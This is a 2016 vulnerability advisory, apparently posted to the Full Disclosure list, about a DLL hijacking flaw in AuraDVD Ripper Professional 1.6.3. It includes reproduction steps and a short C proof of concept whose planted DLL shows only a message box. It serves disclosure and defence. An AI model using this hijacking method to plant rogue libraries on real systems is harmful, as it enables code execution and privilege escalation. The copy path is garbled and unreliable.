[FD] AuraDVD Ripper Professional v1.6.3 - DLL Hijacking Exploit

[Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>]

Document Title:
===============
AuraDVD Ripper Professional v1.6.3 - DLL Hijacking Exploit


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1966


Release Date:
=============
2016-10-04


Vulnerability Laboratory ID (VL-ID):
====================================
1966


Common Vulnerability Scoring System:
====================================
4.3


Product & Service Introduction:
===============================
Aura DVD Ripper is the best application for ripping DVD and converting between 
video formats. It can brilliantly make videos for iPad, 
iPod, Zune and all kinds of media players and mobile phones from DVDs and 
videos of a wide range of formats. It supports convert videos 
or rip DVD movies for protable mobile phones. It even burns videos to standard 
DVD and Blu-ray disc. With the DVD ripping software, 
ripping DVD movies to AVI, MP4, WMV, FLV or even Flash (SWF) is now an easy job 
that can be done instantly. The Aura DVD Ripper also 
functions as a total video converter and YouTube video downloader.
 
(Copy of the Vendor Homepage: http://www.aura4you.com/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a dll hijacking 
exploit in the official AuraDVD Ripper Professional 1.6.3 software.


Vulnerability Disclosure Timeline:
==================================
2016-10-04:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Aura4You
Product: Aura Video Converter - Software 1.6.3


Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Technical Details & Description:
================================
A local dll injection vulnerability has been discovered in the official AuraDVD 
Ripper Professional 1.6.3 software.
The issue allows local attackers to inject code to vulnerable dynamic link 
libraries to compromise the process 
or to gain higher system access privileges. Thus allows a local attacker to 
compromise the system process of the
affected software to followup with manipulations. 

Vulnerable Software:
[+] AuraDVD Ripper Professional

Vulnerable Version(s):
[+] v1.6.3

Vulnerable Libraries:
[+] nvcuvenc.dll


Proof of Concept (PoC):
=======================
The dll hijack vulnerability can be exploited by local attackers with 
restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.


Manual steps to reproduce the local vulnerability ...
1. Compile the dll (dynamic link library)
2. Rename to nvcuvenc.dll
3. Copy nvcuvenc.dll to C:Program FilesAura4YouAura DVD Ripper 
ProfessionalAuraDVDConvPro.exe
4. Launch AuraVideoConv.exe
5. MessageBox Executed


-- PoC Exploit --
#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking ZwX!", "DLL Message", MB_OK);
return 0;
}


Security Risk:
==============
The security risk of the dynamic link library issue in the software is 
estimated as medium. (CVSS 4.3)


Credits & Authors:
==================
ZwX - ( http://zwx.fr ) [ http://www.vulnerability-lab.com/show.php?user=ZwX ]


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=========================
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